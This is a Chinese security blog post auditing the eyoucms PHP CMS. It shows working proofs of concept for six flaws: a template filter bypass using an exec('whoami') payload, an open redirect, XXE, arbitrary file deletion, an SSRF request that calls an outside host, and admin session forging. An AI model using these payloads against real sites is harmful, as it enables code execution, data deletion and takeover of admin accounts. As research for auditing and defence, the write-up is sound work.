freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP代码审计-eyoucms
2023-05-15 22:49:08
所属地 北京

环境搭建:

进入安装页面。

1684160756_646240f43b499c0f2b0b6.png!small?1684160756612

然后输入数据库用户名和密码,接着进行下一步。

1684160771_646241037d33c72324cfd.png!small?1684160771746

创建成功之后,成功登录。

1684160778_6462410a6ac9a21332a11.png!small?1684160778751

代码审计:

1.命令执行漏洞:

进入更多功能处

1684160792_64624118ac6c1623a39cd.png!small?1684160793041

然后使用burpsuite进行抓包。

1684160800_646241201c9a4322ef2a9.png!small?1684160800313

抓包之后,通过路由找到对应代码。

1684160809_6462412947045c27f7d9b.png!small?1684160809734

这里需要传入三个参数,而最后的content则是我们需要填写的内容,在代码中存在过滤

1684160817_6462413112235c3dfabde.png!small?1684160817671

发现对content的内容进行了限制。

1684160828_6462413c072a2e114a84b.png!small?1684160828402

主要的目的是不让传带php标签的内容,大体规则如下。
1、内容中不能有 <?php
2、内容中不能同时有 <? 和 ?>
3、内容中不能有 {eyou:phpxxx
4、内容中不能有 {php xxx
这里我们可以通过 <?= 的形式进行绕过

if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content)) || preg_match('#\{eyou\:php([^\}]*)\}#i', $content) || preg_match('#\{php([^\}]*)\}#i', $content)) {
                return "模板里不允许有php语法,为了安全考虑,请通过FTP工具进行编辑上传。";

漏洞复现:

在代码底部插入payload:<?=exec('whoami');

1684160905_646241895a4e04e3d46bd.png!small?1684160905711

然后访问这个html文件。

1684160915_6462419331d072444b987.png!small?1684160915569

发现在文件底部执行了whoami命令。

1684160925_6462419d093e8880b8816.png!small?1684160925462

2.URL跳转漏洞

在代码中存在一个可以传入的 referurl 参数,该参数通过input()函数的
过滤后,传入到了 redirect() 函数中,然后我们跟进该函数:

1684160934_646241a6da37a042351c4.png!small?1684160935267

通过这里的注释也可以发现这里是用于URL重定向的

1684160953_646241b96dce7e2cf60bd.png!small?1684160954086

漏洞复现:

进入user目录下,发现所有的功能点都在前台登录后,然后我们登录普通用户再进行退出。
这里我们将重定向的地址设为baidu

1684160964_646241c47a24573dc693e.png!small?1684160965176

成功跳到了百度页面。

1684160971_646241cb89cbc75d323de.png!small?1684160971880

3.XXE漏洞

全局搜索 simplexml_ load_ String() 函数,

在 application\home\controller\Index.php 中的 wechat_return() 函数中发现存在危险函数,可以看到这里的代码会对 $InputXml 参数进行解析,那么我们向上去看。

1684160979_646241d3d9dcd9bb0c7e5.png!small?1684160980207

这里的 $InputXml 参数是通过 php://input 传入,而在代码的96行、98行存在限制条件,我们这里不
能使代码走到99行或者102行,否则将我们执行下面的代码,也就无法造成xxe。那么我们需要这里的94
行不为空且这里的 $pay_info['appid'] 字段不为空且 $pay_info['appid'] 的值在payload中就可1684160989_646241ddd0c8a8c297164.png!small?1684160990187搜索该appid时,在前端文件中发现了该处功能点是用于设置微信支付的

1684160996_646241e4393423a736f15.png!small?1684160996695

然后去找对应功能点

1684161003_646241eb2497fad10e7f6.png!small?1684161003548

然后测试该功能点,然后进行抓包。

1684161010_646241f299e94639a82cf.png!small?1684161010868

在这里只要appid不为空,代码就会继续向下执行,进而执行
simplexml_ load_ String() 函数,而且在上面的代码中php://input传入的内容也没有进行任何的过
滤,可以构造xxe payload进行攻击尝试。

1684161017_646241f93596416335829.png!small?1684161018089

漏洞复现:

首先我们去构造路由m=home,c=Index,a=wechat_return,然后通过post传入xml payload即可.
这里设置了 $pay_info['appid'] 的值为1,所以在下面我们将1带入。

1684161027_646242037a9f5e8000714.png!small?1684161027883

接着dnslog收到回显,成功验证漏洞。

1684161033_646242099b5884a7b7d53.png!small?1684161033889

4.任意文件删除

全局搜索 unlink() 函数,发现在 del_local() 这个函数中使用了 unlink() 函数进行文件删除,但是代码的前三行是存在一定的过滤的,但这里却不能删除.php文件。

1684161044_646242141afbcbe4f9881.png!small?1684161044498

具体大家可以看代码656行,在代码653行存在一定的判断条件,如何删除的文件中没有phar协议且必须要uploads路径,这里可以进行绕过。

1684161053_6462421d7dabe6ddbd5b8.png!small?1684161054730

漏洞复现:

通过上面的的路由分析我们去构造该路由m=user,c=Uploadify,a=del_local,然后传入我们的参数
filenames .
我们创建一个1.txt的测试文件

1684161066_6462422a2353225909a83.png!small?1684161066733

成功删除该文件。

1684161072_646242307f28082997850.png!small?1684161073009

5.ssrf漏洞

全局搜索get_headers{这个函数。

1684161080_64624238570c4d346ba00.png!small?1684161080709

定位代码为/application/user/controller/Uploadify.php

1684161088_64624240b00c1f5a7ca04.png!small?1684161089034

使用 $fieldName 参数 => saveRemote($config,[源参数的值]) 调用 saveRemote() 函数然后 saveRemote 私有函数会调用 get_headers() 函数来获取 http 主机的 header get_headers() 函数获取服务器在响应 HTTP 请求时发送的所有标头

1684161099_6462424bac7b1942f41e6.png!small?1684161100174

漏洞复现

构造payload。

<font face="Calibri">###Request<br>
POST /index.php?m=user&c=Uploadify&a=index&action=catchimage HTTP/1.1</font><br>
<font face="Calibri">Host: 172.16.0.12:3333</font><br>
<font face="Calibri">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0</font><br>
<font face="Calibri">Accept: application/json, text/javascript, */*; q=0.01</font><br>
<font face="Calibri">Accept-Language: en-US,en;q=0.5</font><br>
<font face="Calibri">Accept-Encoding: gzip, deflate</font><br>
<font face="Calibri">X-Requested-With: XMLHttpRequest</font><br>
<font face="Calibri">Content-Type: multipart/form-data; boundary=---------------------------182578234523129615573520929892</font><br>
<font face="Calibri">Content-Length: 276</font><br>
<font face="Calibri">Origin: http://172.16.0.12:3333</font><br>
<font face="Calibri">Connection: close</font><br>
<font face="Calibri">Referer: http://172.16.0.12:3333/index.php?m=user&c=Users&a=info</font><br>
<font face="Calibri">Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn; workspaceParam=welcome%7CIndex; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; PHPSESSID=ptad0avmrpqg14oj4jh01a3hpm; users_id=2</font><br>
<br>
<font face="Calibri">-----------------------------182578234523129615573520929892</font><br>
<font face="Calibri">Content-Disposition: form-data; name="source[]"</font><br>
<font face="Calibri">Content-Type: image/png</font><br>
<br>
<font face="Calibri">http://hptcybersec.com/ssrf_PoC.jpg</font><br>
<font face="Calibri">-----------------------------182578234523129615573520929892--</font><br>
<br>
<br>
<font face="Calibri">### Response:</font><br>
<font face="Calibri">HTTP/1.1 200 OK</font><br>
<font face="Calibri">Date: Fri, 20 Aug 2021 17:25:37 GMT</font><br>
<font face="Calibri">Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29</font><br>
<font face="Calibri">X-Powered-By: PHP/7.3.29</font><br>
<font face="Calibri">Expires: Thu, 19 Nov 1981 08:52:00 GMT</font><br>
<font face="Calibri">Cache-Control: private</font><br>
<font face="Calibri">Pragma: no-cache</font><br>
<font face="Calibri">Set-Cookie: users_id=1; path=/</font><br>
<font face="Calibri">Content-Length: 576</font><br>
<font face="Calibri">Connection: close</font><br>
<font face="Calibri">Content-Type: text/html; charset=utf-8</font><br>
<br>
<font face="Calibri">{"state":"SUCCESS","list":[{"state":"SUCCESS","url":"/uploads/user/1/ueditor/20210821/611fe591da266.png","size":24041,"title":"611fe591da266.png","original":"123.jpg","source":"http://hptcybersec.com/123.jpg"}]}</font><br>
<br>
<font face="Calibri">### Accesslog on hptcybersec.com</font><br>
<font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Accepted</font><br>
<font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 [404]: (null) /ssrf_PoC.jpg - No such file or directory</font><br>
<font face="Calibri">[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Closing```</font><br>
<br>
<br>
<br>
<font face="Calibri">Impact:  allow remote attackers to information detection,internal network server attack.</font><br>
<font face="宋体">影响:允许远程攻击者进行信息检测、内网服务器攻击。</font>

然后使用burpsuite进行复现。

1684161109_64624255afb745d9517c6.png!small?1684161110088

6.session泄露

首先前台设置一个管理员的session,然后在后台远程插件下载文件包含getshell。
定位源代码为application/api/controller/Ajax.php:219

1684161120_646242601206c64fd6fa5.png!small?1684161120838

get_token函数是可以前台随意调用的,另外形参中的$name变量也是通过http传递进来的。跟进token函数,如下图所示。

1684161169_64624291391a5f2be735d.png!small?1684161169575

在application/admin/controller/Base.php:61

1684161180_6462429c0141ebe8de4b5.png!small?1684161180663

这里涉及到了两个session,一个admin_login_expire,一个admin_id。
admin_id (该session有就即可,不会验证其值)
admin_login_expire (该session会做减法的校验,需要满足一定条件)1684161188_646242a4863e7dc61a84c.png!small?1684161189537设置完这两个session后,我们继续看到if条件判断里还有一个check_priv函数,跟进查看:1684161195_646242ab1be4e8bce5d26.png!small?1684161195634

漏洞复现:

这里就很简单了,继续设置一个admin_info.role_id。满足比较小于0即可。
设置完三个session后,就可以进入后台。

1684161205_646242b50cd753a1c7c7d.png!small?1684161206067

1684161222_646242c6d5af1b7b4eee9.png!small?1684161223265


# 渗透测试 # 网络安全 # 系统安全 # 数据安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录